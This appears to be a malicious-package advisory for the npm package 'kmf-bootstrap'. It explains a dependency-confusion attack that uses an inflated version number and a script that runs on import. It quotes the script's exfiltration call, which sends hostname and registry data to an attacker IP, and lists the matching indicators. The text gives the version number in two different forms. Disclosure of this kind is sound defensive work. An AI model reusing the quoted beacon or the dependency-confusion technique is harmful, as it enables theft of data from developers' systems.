GCVE-110-OSM-2026-13437

The OpenSSF Package Analysis project identified 'kmf-bootstrap' @ 100.100.102 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. Judge assessment: This is a dependency-confusion attack. The package version 100.100.106 is artificially inflated to outrank an internal package named 'kmf-bootstrap', and the entrypoint index.js executes immediately on import, beaconing hostname, package name, and npm registry URL to the attacker-controlled C2 at http://64.181.165.115/t?. The exfiltration is plaintext and unambiguous in the source: `http.get('http://64.181.165.115/t?' + q, function(){})` where q encodes os.hostname(), npm_package_name, and npm_config_registry. The publisher 'dot2027' is a brand-new account (1 day old) with two other already-confirmed malicious packages (kmf-vendor-pack, test-account-portal-fe), indicating a coordinated campaign targeting what appears to be a Kazakh financial institution's internal npm namespace. The OSV advisory MAL-2026-17746 corroborates this finding and the actual code fully confirms the described behavior. ENTRY index.js (main: index.js) DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Data Encoding for Exfiltration in index.js: "encodeURIComponent(os.hostname" - Network Request in index.js: "http.get(" - System Information Collection in index.js: "os.hostname()" - Suspicious Domain in index.js: "http://64.181.165.115" ADDITIONAL FINDINGS - Very New NPM Publisher Account - Publisher Has Other Malicious Packages PAYLOAD FILES index.js